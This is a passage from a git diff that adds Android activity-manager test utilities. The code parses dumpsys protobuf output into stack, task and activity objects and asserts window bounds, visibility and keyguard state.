+        final boolean activityVisible = mAmState.isActivityVisible(activityComponentName);
+        final boolean windowVisible = mWmState.isWindowVisible(windowName);
+
+        if (visible) {
+            assertTrue("Activity=" + activityComponentName + " must be visible.", activityVisible);
+            assertTrue("Window=" + windowName + " must be visible.", windowVisible);
+        } else {
+            assertFalse("Activity=" + activityComponentName + " must NOT be visible.",
+                    activityVisible);
+            assertFalse("Window=" + windowName + " must NOT be visible.", windowVisible);
+        }
+    }
+
+    void assertHomeActivityVisible(boolean visible) {
+        final ComponentName homeActivity = mAmState.getHomeActivityName();
+        assertNotNull(homeActivity);
+        assertVisibility(homeActivity, visible);
+    }
+
+    /**
+     * Asserts that the device default display minimim width is larger than the minimum task width.
+     */
+    void assertDeviceDefaultDisplaySize(String errorMessage) throws Exception {
+        computeState();
+        final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY_ID);
+        final Display display = getWmState().getDisplay(DEFAULT_DISPLAY_ID);
+        final Rect displayRect = display.getDisplayRect();
+        if (Math.min(displayRect.width(), displayRect.height()) < minTaskSizePx) {
+            fail(errorMessage);
+        }
+    }
+
+    public void assertKeyguardShowingAndOccluded() {
+        assertTrue(getAmState().getKeyguardControllerState().keyguardShowing);
+        assertTrue(getAmState().getKeyguardControllerState().keyguardOccluded);
+    }
+
+    public void assertKeyguardShowingAndNotOccluded() {
+        assertTrue(getAmState().getKeyguardControllerState().keyguardShowing);
+        assertFalse(getAmState().getKeyguardControllerState().keyguardOccluded);
+    }
+
+    public void assertKeyguardGone() {
+        assertFalse(getAmState().getKeyguardControllerState().keyguardShowing);
+    }
+
+    boolean taskListsInAmAndWmAreEqual() {
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            final WindowStack wStack = mWmState.getStack(stackId);
+            if (wStack == null) {
+                log("Waiting for stack setup in WM, stackId=" + stackId);
+                return false;
+            }
+
+            for (ActivityTask aTask : aStack.getTasks()) {
+                if (wStack.getTask(aTask.mTaskId) == null) {
+                    log("Task is in AM but not in WM, waiting for it to settle, taskId="
+                            + aTask.mTaskId);
+                    return false;
+                }
+            }
+
+            for (WindowTask wTask : wStack.mTasks) {
+                if (aStack.getTask(wTask.mTaskId) == null) {
+                    log("Task is in WM but not in AM, waiting for it to settle, taskId="
+                            + wTask.mTaskId);
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    int getStackIndexByActivityType(int activityType) {
+        int wmStackIndex = mWmState.getStackIndexByActivityType(activityType);
+        int amStackIndex = mAmState.getStackIndexByActivityType(activityType);
+        assertEquals("Window and activity manager must have the same stack position index",
+                amStackIndex, wmStackIndex);
+        return wmStackIndex;
+    }
+
+    boolean stackBoundsInAMAndWMAreEqual() {
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            final WindowStack wStack = mWmState.getStack(stackId);
+            if (aStack.isFullscreen() != wStack.isFullscreen()) {
+                log("Waiting for correct fullscreen state, stackId=" + stackId);
+                return false;
+            }
+
+            final Rect aStackBounds = aStack.getBounds();
+            final Rect wStackBounds = wStack.getBounds();
+
+            if (aStack.isFullscreen()) {
+                if (aStackBounds != null) {
+                    log("Waiting for correct stack state in AM, stackId=" + stackId);
+                    return false;
+                }
+            } else if (!Objects.equals(aStackBounds, wStackBounds)) {
+                // If stack is not fullscreen - comparing bounds. Not doing it always because
+                // for fullscreen stack bounds in WM can be either null or equal to display size.
+                log("Waiting for stack bound equality in AM and WM, stackId=" + stackId);
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Check task bounds when docked to top/left.
+     */
+    void assertDockedTaskBounds(int taskWidth, int taskHeight, String activityName) {
+        // Task size can be affected by default minimal size.
+        int defaultMinimalTaskSize = defaultMinimalTaskSize(
+                mAmState.getStandardStackByWindowingMode(
+                        WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId);
+        int targetWidth = Math.max(taskWidth, defaultMinimalTaskSize);
+        int targetHeight = Math.max(taskHeight, defaultMinimalTaskSize);
+
+        assertEquals(new Rect(0, 0, targetWidth, targetHeight),
+                mAmState.getTaskByActivityName(activityName).getBounds());
+    }
+
+    void assertValidBounds(boolean compareTaskAndStackBounds) {
+        // Cycle through the stacks and tasks to figure out if the home stack is resizable
+        final ActivityTask homeTask = mAmState.getHomeTask();
+        final boolean homeStackIsResizable = homeTask != null
+                && homeTask.getResizeMode() == RESIZE_MODE_RESIZEABLE;
+
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            final WindowStack wStack = mWmState.getStack(stackId);
+            assertNotNull("stackId=" + stackId + " in AM but not in WM?", wStack);
+
+            assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
+                    aStack.isFullscreen(), wStack.isFullscreen());
+
+            final Rect aStackBounds = aStack.getBounds();
+            final Rect wStackBounds = wStack.getBounds();
+
+            if (aStack.isFullscreen()) {
+                assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
+            } else {
+                assertEquals("Stack bounds in AM and WM must be equal stackId=" + stackId,
+                        aStackBounds, wStackBounds);
+            }
+
+            for (ActivityTask aTask : aStack.getTasks()) {
+                final int taskId = aTask.mTaskId;
+                final WindowTask wTask = wStack.getTask(taskId);
+                assertNotNull(
+                        "taskId=" + taskId + " in AM but not in WM? stackId=" + stackId, wTask);
+
+                final boolean aTaskIsFullscreen = aTask.isFullscreen();
+                final boolean wTaskIsFullscreen = wTask.isFullscreen();
+                assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
+                        + ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
+
+                final Rect aTaskBounds = aTask.getBounds();
+                final Rect wTaskBounds = wTask.getBounds();
+
+                if (aTaskIsFullscreen) {
+                    assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
+                            aTaskBounds);
+                } else if (!homeStackIsResizable && mWmState.isDockedStackMinimized()
+                        && !isScreenPortrait(aStack.mDisplayId)) {
+                    // When minimized using non-resizable launcher in landscape mode, it will move
+                    // the task offscreen in the negative x direction unlike portrait that crops.
+                    // The x value in the task bounds will not match the stack bounds since the
+                    // only the task was moved.
+                    assertEquals("Task bounds in AM and WM must match width taskId=" + taskId
+                                    + ", stackId" + stackId, aTaskBounds.width(),
+                            wTaskBounds.width());
+                    assertEquals("Task bounds in AM and WM must match height taskId=" + taskId
+                                    + ", stackId" + stackId, aTaskBounds.height(),
+                            wTaskBounds.height());
+                    assertEquals("Task bounds must match stack bounds y taskId=" + taskId
+                                    + ", stackId" + stackId, aTaskBounds.top,
+                            wTaskBounds.top);
+                    assertEquals("Task and stack bounds must match width taskId=" + taskId
+                                    + ", stackId" + stackId, aStackBounds.width(),
+                            wTaskBounds.width());
+                    assertEquals("Task and stack bounds must match height taskId=" + taskId
+                                    + ", stackId" + stackId, aStackBounds.height(),
+                            wTaskBounds.height());
+                    assertEquals("Task and stack bounds must match y taskId=" + taskId
+                                    + ", stackId" + stackId, aStackBounds.top,
+                            wTaskBounds.top);
+                } else {
+                    assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
+                            + ", stackId=" + stackId, aTaskBounds, wTaskBounds);
+
+                    if (compareTaskAndStackBounds
+                            && aStack.getWindowingMode() != WINDOWING_MODE_FREEFORM) {
+                        int aTaskMinWidth = aTask.getMinWidth();
+                        int aTaskMinHeight = aTask.getMinHeight();
+
+                        if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
+                            // Minimal dimension(s) not set for task - it should be using defaults.
+                            int defaultMinimalSize =
+                                    aStack.getWindowingMode() == WINDOWING_MODE_PINNED
+                                    ? defaultMinimalPinnedTaskSize(aStack.mDisplayId)
+                                    : defaultMinimalTaskSize(aStack.mDisplayId);
+
+                            if (aTaskMinWidth == -1) {
+                                aTaskMinWidth = defaultMinimalSize;
+                            }
+                            if (aTaskMinHeight == -1) {
+                                aTaskMinHeight = defaultMinimalSize;
+                            }
+                        }
+
+                        if (aStackBounds.width() >= aTaskMinWidth
+                                && aStackBounds.height() >= aTaskMinHeight
+                                || aStack.getWindowingMode() == WINDOWING_MODE_PINNED) {
+                            // Bounds are not smaller then minimal possible, so stack and task
+                            // bounds must be equal.
+                            assertEquals("Task bounds must be equal to stack bounds taskId="
+                                    + taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
+                        } else if (aStack.getWindowingMode() == WINDOWING_MODE_SPLIT_SCREEN_PRIMARY
+                                && homeStackIsResizable && mWmState.isDockedStackMinimized()) {
+                            // Portrait if the display height is larger than the width
+                            if (isScreenPortrait(aStack.mDisplayId)) {
+                                assertEquals("Task width must be equal to stack width taskId="
+                                                + taskId + ", stackId=" + stackId,
+                                        aStackBounds.width(), wTaskBounds.width());
+                                assertTrue("Task height must be greater than stack height "
+                                                + "taskId=" + taskId + ", stackId=" + stackId,
+                                        aStackBounds.height() < wTaskBounds.height());
+                                assertEquals("Task and stack x position must be equal taskId="
+                                                + taskId + ", stackId=" + stackId,
+                                        wTaskBounds.left, wStackBounds.left);
+                            } else {
+                                assertTrue("Task width must be greater than stack width taskId="
+                                                + taskId + ", stackId=" + stackId,
+                                        aStackBounds.width() < wTaskBounds.width());
+                                assertEquals("Task height must be equal to stack height taskId="
+                                                + taskId + ", stackId=" + stackId,
+                                        aStackBounds.height(), wTaskBounds.height());
+                                assertEquals("Task and stack y position must be equal taskId="
+                                                + taskId + ", stackId=" + stackId, wTaskBounds.top,
+                                        wStackBounds.top);
+                            }
+                        } else {
+                            // Minimal dimensions affect task size, so bounds of task and stack must
+                            // be different - will compare dimensions instead.
+                            int targetWidth = (int) Math.max(aTaskMinWidth,
+                                    aStackBounds.width());
+                            assertEquals("Task width must be set according to minimal width"
+                                            + " taskId=" + taskId + ", stackId=" + stackId,
+                                    targetWidth, (int) wTaskBounds.width());
+                            int targetHeight = (int) Math.max(aTaskMinHeight,
+                                    aStackBounds.height());
+                            assertEquals("Task height must be set according to minimal height"
+                                            + " taskId=" + taskId + ", stackId=" + stackId,
+                                    targetHeight, (int) wTaskBounds.height());
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    boolean isScreenPortrait() {
+        final int displayId = mAmState.getStandardStackByWindowingMode(
+            WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).mDisplayId;
+        return isScreenPortrait(displayId);
+    }
+
+    boolean isScreenPortrait(int displayId) {
+        final Rect displayRect = mWmState.getDisplay(displayId).getDisplayRect();
+        return displayRect.height() > displayRect.width();
+    }
+
+    static int dpToPx(float dp, int densityDpi) {
+        return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
+    }
+
+    private int defaultMinimalTaskSize(int displayId) {
+        return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
+    }
+
+    private int defaultMinimalPinnedTaskSize(int displayId) {
+        return dpToPx(DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
new file mode 100644
index 0000000..7350b85
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ProtoExtractors.extract;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import android.content.ComponentName;
+import android.graphics.Rect;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+
+import com.android.server.am.proto.nano.ActivityDisplayProto;
+import com.android.server.am.proto.nano.ActivityRecordProto;
+import com.android.server.am.proto.nano.ActivityStackProto;
+import com.android.server.am.proto.nano.ActivityStackSupervisorProto;
+import com.android.server.am.proto.nano.KeyguardControllerProto;
+import com.android.server.am.proto.nano.TaskRecordProto;
+import com.android.server.wm.proto.nano.ConfigurationContainerProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class ActivityManagerState {
+
+    public static final int DUMP_MODE_ACTIVITIES = 0;
+
+    public static final String STATE_RESUMED = "RESUMED";
+    public static final String STATE_PAUSED = "PAUSED";
+    public static final String STATE_STOPPED = "STOPPED";
+    public static final String STATE_DESTROYED = "DESTROYED";
+
+    private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity --proto activities";
+
+    // Stacks in z-order with the top most at the front of the list, starting with primary display.
+    private final List<ActivityStack> mStacks = new ArrayList<>();
+    // Stacks on all attached displays, in z-order with the top most at the front of the list.
+    private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
+    private KeyguardControllerState mKeyguardControllerState;
+    private int mFocusedStackId = -1;
+    private String mResumedActivityRecord = null;
+    private final List<String> mResumedActivities = new ArrayList<>();
+
+    void computeState() {
+        computeState(DUMP_MODE_ACTIVITIES);
+    }
+
+    void computeState(int dumpMode) {
+        // It is possible the system is in the middle of transition to the right state when we get
+        // the dump. We try a few times to get the information we need before giving up.
+        int retriesLeft = 3;
+        boolean retry = false;
+        byte[] dump = null;
+
+        log("==============================");
+        log("     ActivityManagerState     ");
+        log("==============================");
+
+        do {
+            if (retry) {
+                log("***Incomplete AM state. Retrying...");
+                // Wait half a second between retries for activity manager to finish transitioning.
+                try {
+                    Thread.sleep(500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            }
+
+            String dumpsysCmd = "";
+            switch (dumpMode) {
+                case DUMP_MODE_ACTIVITIES:
+                    dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES;
+                    break;
+            }
+
+            dump = executeShellCommand(dumpsysCmd);
+            try {
+                parseSysDumpProto(dump);
+            } catch (InvalidProtocolBufferNanoException ex) {
+                throw new RuntimeException("Failed to parse dumpsys:\n"
+                        + new String(dump, StandardCharsets.UTF_8), ex);
+            }
+
+            retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
+                    || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
+        } while (retry && retriesLeft-- > 0);
+
+        if (mStacks.isEmpty()) {
+            logE("No stacks found...");
+        }
+        if (mFocusedStackId == -1) {
+            logE("No focused stack found...");
+        }
+        if (mResumedActivityRecord == null) {
+            logE("No focused activity found...");
+        }
+        if (mResumedActivities.isEmpty()) {
+            logE("No resumed activities found...");
+        }
+    }
+
+    private byte[] executeShellCommand(String cmd) {
+        try {
+            ParcelFileDescriptor pfd =
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                            .executeShellCommand(cmd);
+            byte[] buf = new byte[512];
+            int bytesRead;
+            FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+            ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+            while ((bytesRead = fis.read(buf)) != -1) {
+                stdout.write(buf, 0, bytesRead);
+            }
+            fis.close();
+            return stdout.toByteArray();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
+        reset();
+
+        ActivityStackSupervisorProto state = ActivityStackSupervisorProto.parseFrom(sysDump);
+        for (int i = 0; i < state.displays.length; i++) {
+            ActivityDisplayProto displayStack = state.displays[i];
+            List<ActivityStack> activityStacks = new ArrayList<>();
+            for (int j = 0; j < displayStack.stacks.length; j++) {
+                ActivityStack activityStack = new ActivityStack(displayStack.stacks[j]);
+                mStacks.add(activityStack);
+                activityStacks.add(activityStack);
+                if (activityStack.mResumedActivity != null) {
+                    mResumedActivities.add(activityStack.mResumedActivity);
+                }
+            }
+            mDisplayStacks.put(displayStack.id, activityStacks);
+        }
+        mKeyguardControllerState = new KeyguardControllerState(state.keyguardController);
+        mFocusedStackId = state.focusedStackId;
+        if (state.resumedActivity != null) {
+            mResumedActivityRecord = state.resumedActivity.title;
+        }
+    }
+
+
+    private void reset() {
+        mStacks.clear();
+        mDisplayStacks.clear();
+        mFocusedStackId = -1;
+        mResumedActivityRecord = null;
+        mResumedActivities.clear();
+        mKeyguardControllerState = null;
+    }
+
+    int getFrontStackId(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).mStackId;
+    }
+
+    int getFrontStackActivityType(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).getActivityType();
+    }
+
+    int getFrontStackWindowingMode(int displayId) {
+        return mDisplayStacks.get(displayId).get(0).getWindowingMode();
+    }
+
+    int getFocusedStackId() {
+        return mFocusedStackId;
+    }
+
+    int getFocusedStackActivityType() {
+        final ActivityStack stack = getStackById(mFocusedStackId);
+        return stack != null ? stack.getActivityType() : ACTIVITY_TYPE_UNDEFINED;
+    }
+
+    int getFocusedStackWindowingMode() {
+        final ActivityStack stack = getStackById(mFocusedStackId);
+        return stack != null ? stack.getWindowingMode() : WINDOWING_MODE_UNDEFINED;
+    }
+
+    String getFocusedActivity() {
+        return mResumedActivityRecord;
+    }
+
+    String getResumedActivity() {
+        return mResumedActivities.get(0);
+    }
+
+    int getResumedActivitiesCount() {
+        return mResumedActivities.size();
+    }
+
+    public KeyguardControllerState getKeyguardControllerState() {
+        return mKeyguardControllerState;
+    }
+
+    boolean containsStack(int stackId) {
+        return getStackById(stackId) != null;
+    }
+
+    boolean containsStack(int windowingMode, int activityType) {
+        for (ActivityStack stack : mStacks) {
+            if (activityType != ACTIVITY_TYPE_UNDEFINED
+                    && activityType != stack.getActivityType()) {
+                continue;
+            }
+            if (windowingMode != WINDOWING_MODE_UNDEFINED
+                    && windowingMode != stack.getWindowingMode()) {
+                continue;
+            }
+            return true;
+        }
+        return false;
+    }
+
+    ActivityStack getStackById(int stackId) {
+        for (ActivityStack stack : mStacks) {
+            if (stackId == stack.mStackId) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+    ActivityStack getStackByActivityType(int activityType) {
+        for (ActivityStack stack : mStacks) {
+            if (activityType == stack.getActivityType()) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+    ActivityStack getStandardStackByWindowingMode(int windowingMode) {
+        for (ActivityStack stack : mStacks) {
+            if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+                continue;
+            }
+            if (stack.getWindowingMode() == windowingMode) {
+                return stack;
+            }
+        }
+        return null;
+    }
+
+    int getStandardTaskCountByWindowingMode(int windowingMode) {
+        int count = 0;
+        for (ActivityStack stack : mStacks) {
+            if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+                continue;
+            }
+            if (stack.getWindowingMode() == windowingMode) {
+                count += stack.mTasks.size();
+            }
+        }
+        return count;
+    }
+
+    int getStackIndexByActivityType(int activityType) {
+        for (int i = 0; i < mStacks.size(); i++) {
+            if (activityType == mStacks.get(i).getActivityType()) {
+                return i;
+            }
+        }
+        return -1;
+    }
+
+    int getStackIndexByActivityName(String activityName) {
+        final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (int i = mStacks.size() - 1; i >=0 ; --i) {
+            final ActivityStack stack = mStacks.get(i);
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(fullName)) {
+                        return i;
+                    }
+                }
+            }
+        }
+        return -1;
+    }
+
+    List<ActivityStack> getStacks() {
+        return new ArrayList<>(mStacks);
+    }
+
+    int getStackCount() {
+        return mStacks.size();
+    }
+
+    boolean containsActivity(String activityName) {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(activityName)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean containsActivityInWindowingMode(String activityName, int windowingMode) {
+        final String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(fullName)
+                            && activity.getWindowingMode() == windowingMode) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean isActivityVisible(String activityName) {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(activityName)) {
+                        return activity.visible;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean containsStartedActivities() {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (!activity.state.equals(STATE_STOPPED)
+                            && !activity.state.equals(STATE_DESTROYED)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    boolean hasActivityState(String activityName, String activityState) {
+        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(fullName)) {
+                        return activity.state.equals(activityState);
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+    int getActivityProcId(String activityName) {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (activity.name.equals(activityName)) {
+                        return activity.procId;
+                    }
+                }
+            }
+        }
+        return -1;
+    }
+
+    boolean isRecentsActivityVisible() {
+        final Activity recentsActivity = getRecentsActivity();
+        return recentsActivity != null && recentsActivity.visible;
+    }
+
+    ComponentName getHomeActivityName() {
+        Activity activity = getHomeActivity();
+        if (activity == null) {
+            return null;
+        }
+        return ComponentName.unflattenFromString(activity.name);
+    }
+
+    ActivityTask getHomeTask() {
+        final ActivityStack homeStack = getStackByActivityType(ACTIVITY_TYPE_HOME);
+        if (homeStack != null && !homeStack.mTasks.isEmpty()) {
+            return homeStack.mTasks.get(0);
+        }
+        return null;
+    }
+
+    private ActivityTask getRecentsTask() {
+        final ActivityStack recentsStack = getStackByActivityType(ACTIVITY_TYPE_RECENTS);
+        if (recentsStack != null && !recentsStack.mTasks.isEmpty()) {
+            return recentsStack.mTasks.get(0);
+        }
+        return null;
+    }
+
+    private Activity getHomeActivity() {
+        final ActivityTask homeTask = getHomeTask();
+        return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
+    }
+
+    private Activity getRecentsActivity() {
+        final ActivityTask recentsTask = getRecentsTask();
+        return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
+                : null;
+    }
+
+    int getStackIdByActivityName(String activityName) {
+        final ActivityTask task = getTaskByActivityName(activityName);
+
+        if (task == null) {
+            return INVALID_STACK_ID;
+        }
+
+        return task.mStackId;
+    }
+
+    ActivityTask getTaskByActivityName(String activityName) {
+        return getTaskByActivityName(activityName, WINDOWING_MODE_UNDEFINED);
+    }
+
+    ActivityTask getTaskByActivityName(String activityName, int windowingMode) {
+        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        for (ActivityStack stack : mStacks) {
+            if (windowingMode == WINDOWING_MODE_UNDEFINED
+                    || windowingMode == stack.getWindowingMode()) {
+                for (ActivityTask task : stack.mTasks) {
+                    for (Activity activity : task.mActivities) {
+                        if (activity.name.equals(fullName)) {
+                            return task;
+                        }
+                    }
+                }
+            }
+        }
+        return null;
+    }
+
+    static class ActivityStack extends ActivityContainer {
+
+        int mDisplayId;
+        int mStackId;
+        String mResumedActivity;
+        ArrayList<ActivityTask> mTasks = new ArrayList<>();
+
+        ActivityStack(ActivityStackProto proto) {
+            super(proto.configurationContainer);
+            mStackId = proto.id;
+            mDisplayId = proto.displayId;
+            mBounds = extract(proto.bounds);
+            mFullscreen = proto.fullscreen;
+            for (int i = 0; i < proto.tasks.length; i++) {
+                mTasks.add(new ActivityTask(proto.tasks[i]));
+            }
+            if (proto.resumedActivity != null) {
+                mResumedActivity = proto.resumedActivity.title;
+            }
+        }
+
+        /**
+         * @return the bottom task in the stack.
+         */
+        ActivityTask getBottomTask() {
+            if (!mTasks.isEmpty()) {
+                // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+                //       so the indices are inverted
+                return mTasks.get(mTasks.size() - 1);
+            }
+            return null;
+        }
+
+        /**
+         * @return the top task in the stack.
+         */
+        ActivityTask getTopTask() {
+            if (!mTasks.isEmpty()) {
+                // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
+                //       so the indices are inverted
+                return mTasks.get(0);
+            }
+            return null;
+        }
+
+        List<ActivityTask> getTasks() {
+            return new ArrayList<>(mTasks);
+        }
+
+        ActivityTask getTask(int taskId) {
+            for (ActivityTask task : mTasks) {
+                if (taskId == task.mTaskId) {
+                    return task;
+                }
+            }
+            return null;
+        }
+    }
+
+    static class ActivityTask extends ActivityContainer {
+
+        int mTaskId;
+        int mStackId;
+        Rect mLastNonFullscreenBounds;
+        String mRealActivity;
+        String mOrigActivity;
+        ArrayList<Activity> mActivities = new ArrayList<>();
+        int mTaskType = -1;
+        private int mResizeMode;
+
+        ActivityTask(TaskRecordProto proto) {
+            super(proto.configurationContainer);
+            mTaskId = proto.id;
+            mStackId = proto.stackId;
+            mLastNonFullscreenBounds = extract(proto.lastNonFullscreenBounds);
+            mRealActivity = proto.realActivity;
+            mOrigActivity = proto.origActivity;
+            mTaskType = proto.activityType;
+            mResizeMode = proto.resizeMode;
+            mFullscreen = proto.fullscreen;
+            mBounds = extract(proto.bounds);
+            mMinWidth = proto.minWidth;
+            mMinHeight = proto.minHeight;
+            for (int i = 0;  i < proto.activities.length; i++) {
+                mActivities.add(new Activity(proto.activities[i]));
+            }
+        }
+
+        public int getResizeMode() {
+            return mResizeMode;
+        }
+
+        /**
+         * @return whether this task contains the given activity.
+         */
+        public boolean containsActivity(String activityName) {
+            for (Activity activity : mActivities) {
+                if (activity.name.equals(activityName)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+    }
+
+    static class Activity extends ActivityContainer {
+
+        String name;
+        String state;
+        boolean visible;
+        boolean frontOfTask;
+        int procId = -1;
+
+        Activity(ActivityRecordProto proto) {
+            super(proto.configurationContainer);
+            name = proto.identifier.title;
+            state = proto.state;
+            visible = proto.visible;
+            frontOfTask = proto.frontOfTask;
+            if (proto.procId != 0) {
+                procId = proto.procId;
+            }
+        }
+    }
+
+    static abstract class ActivityContainer extends WindowManagerState.ConfigurationContainer {
+        protected boolean mFullscreen;
+        protected Rect mBounds;
+        protected int mMinWidth = -1;
+        protected int mMinHeight = -1;
+
+        ActivityContainer(ConfigurationContainerProto proto) {
+            super(proto);
+        }
+
+        Rect getBounds() {
+            return mBounds;
+        }
+
+        boolean isFullscreen() {
+            return mFullscreen;
+        }
+
+        int getMinWidth() {
+            return mMinWidth;
+        }
+
+        int getMinHeight() {
+            return mMinHeight;
+        }
+    }
+
+    static class KeyguardControllerState {
+
+        boolean keyguardShowing = false;
+        boolean keyguardOccluded = false;
+
+        KeyguardControllerState(KeyguardControllerProto proto) {
+            if (proto != null) {
+                keyguardShowing = proto.keyguardShowing;
+                keyguardOccluded = proto.keyguardOccluded;
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
new file mode 100644
index 0000000..40ecfff
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -0,0 +1,1493 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
